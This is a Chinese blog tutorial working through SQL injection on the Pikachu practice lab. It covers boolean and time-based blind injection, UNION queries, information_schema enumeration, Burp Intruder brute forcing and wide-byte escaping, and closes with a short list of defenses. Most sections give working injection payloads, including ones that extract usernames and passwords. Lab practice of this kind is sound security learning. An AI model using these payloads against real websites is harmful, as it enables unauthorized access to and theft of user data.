sql注入漏洞学习下--基于pikachu 2023/03/26

接着上一篇博客,继续在pikachu平台上熟悉sql注入的原理和类型

7)盲注base on boolian

有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽的报错,此时无法根据报错信息来进行注入的判断,盲注又分为布尔盲注和时间盲注两种类型。

布尔盲注的主要特征:

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只显示两种情况
  • 在正确的输入下,输入and 1=1 和 and 1=2来进行判断

输入 kobe的username,判断是否存在布尔盲注:

kobe’ and 1=1 # 和 kobe’ and 1=2 # 据此来判断是否存在布尔盲注

通过length函数判断数据库长度和数据表字段信息数量

  1. 获取当前数据库的长度:

一步一步试出当前数据可的长度

lili' and length((select database()))=7 #
  1. 获取当前数据库库名,用到burp,payload为:
lili' and substr((select databse()),1,1)='a' #

通过substr,ascii函数判断数据库名,表名,字段值

substr为截断字符串函数,第一个参数为SQL语句,第二个参数表示从第一个字符考试,第三个参数表示截取一个字符,判断该字符为a。

利用Burp 中的测试器来暴力破解:

抓包发送到测试器:

选择狙击手模式,在想暴力遍历的地方,添加注释
在这里插入图片描述

设置对应的参数,字符集,最短,最长
在这里插入图片描述

点击开始攻击,得到结果,这里根据结果的长度,来判断库名的字符。

在这里插入图片描述

通过上述方法即可获取当前数据库库名: pikachu

通过其它函数进行布尔类型的盲注:

left()函数:

lili' and left((select database()),1)='p' #

mid()函数

lili' and mid((select database()),1,1)=char(112) #

正则表达式regexp

lili' and  (select database()) regexp '^p' #

like函数:

lili' and  (select database()) like 'p%' #

if语句

if(判断条件,正确返回的值,错误返回的值)

if语句中第一个参数为真,则输出第一个值为1,不为真输出第二个值0

lili' and 1= if(((select database())like 'p%'),1,0) #

8)盲注base on time:

布尔盲注在页面上还能看到0 or 1的回显

基于time的盲注返回的界面都一样,但可以通过时间,通过特定的输入,判断后台执行的时间,从而确认注入。

时间盲注通常使用sleep()等专用的延时函数来进行是将盲注

为了提高效率,通常在表达式判断为真时执行延时语句

注入的payload:

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

如果判断正确,可以在web控制器中发现,页面暂停了5秒
在这里插入图片描述

这样即完成了布尔注入。

9)基于union联合查询的信息获取(select)

select username,password from user where id=1 union select 字段1 ,字段2 from 表名

联合查询的字段数需要和主查询一致

字符型注入界面中,利用payload : a’ order by 5 # 测试出主查询中有几个字段

确认字段后,构建union。

如查询数据库版本,当前用户显示出来,payload:

a' union select database(), user()#

Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。

10)通过information_schema获取数据库信息

mysql中information_schema表存放大量的重要信息,

SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

通过9)中获得数据库的名称pikachu后,通过information_schema去获取数据,通过union联合查询

获得所有表的payload:

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

在这里插入图片描述

获得user表,获得每列的信息:

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

user表中,有username,password两列,

kobe' union select username,password from users #

11)列表名的暴力破解:

字符型注入为例:payload:

kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#

通过burp抓包,发送到intruder,进行暴力破解,得到对应的表名,列名

12)宽字节注入:

宽字节注入博客

字符大小为一个字节时为窄字节,字符大小为两个及以上的字节为宽字节

防止网站被sql注入,网站开发人员会做一些防护错误,最常见的是对一些特殊字符进行转义。

SQL注入需要闭合引号,PHP中的防御函数magic_qutes_gpc:在php中的作用是解析用户提交的数据,在敏感数据前面自动添加转义符。如在 ‘ 单引号前添加转义符

输入的引号被转义之后只当作了一个字符串,无法发挥作用

如何让转义符’\‘失去作用,这样的sql注入就是宽字节注入

  • 前提是只有中文编码的数据库可以这样

\ 转义通过编码是 %5c,找到一个字节编码让其组成一个新字符,如%df。

这样之后,输入的引号的特殊意义就存在,可以是包裹字符串的了。

通过在单引号前面加“%df”,来让单引号逃过转义即可。

  1. burp进行抓包,发送到Repeater,输入payload到name中,点击render可以看到获取了用户的信息。
    在这里插入图片描述

  2. 抓包时进行拦截,将代理—>截断下,找到输入内容,将引号前的字符改成df,即可,回车放包即可。
    在这里插入图片描述

13)sql注入常见的防范措施:

  • 代码层面:
  1. 对输入进行严格的转义和过滤
  2. 使用预处理和参数化
  • 网络层面:
  1. 通过WAF设备启动放sql注入策略
  2. 云端防护

安全函数的写入,关闭数据库错误回显,用户输入内容判断

sql注入的实质是针对各种类型的输入进行闭合测试,构成合法的sql,从而去欺骗后台执行

猜你喜欢

转载自blog.csdn.net/m0_53689197/article/details/129782492
今日推荐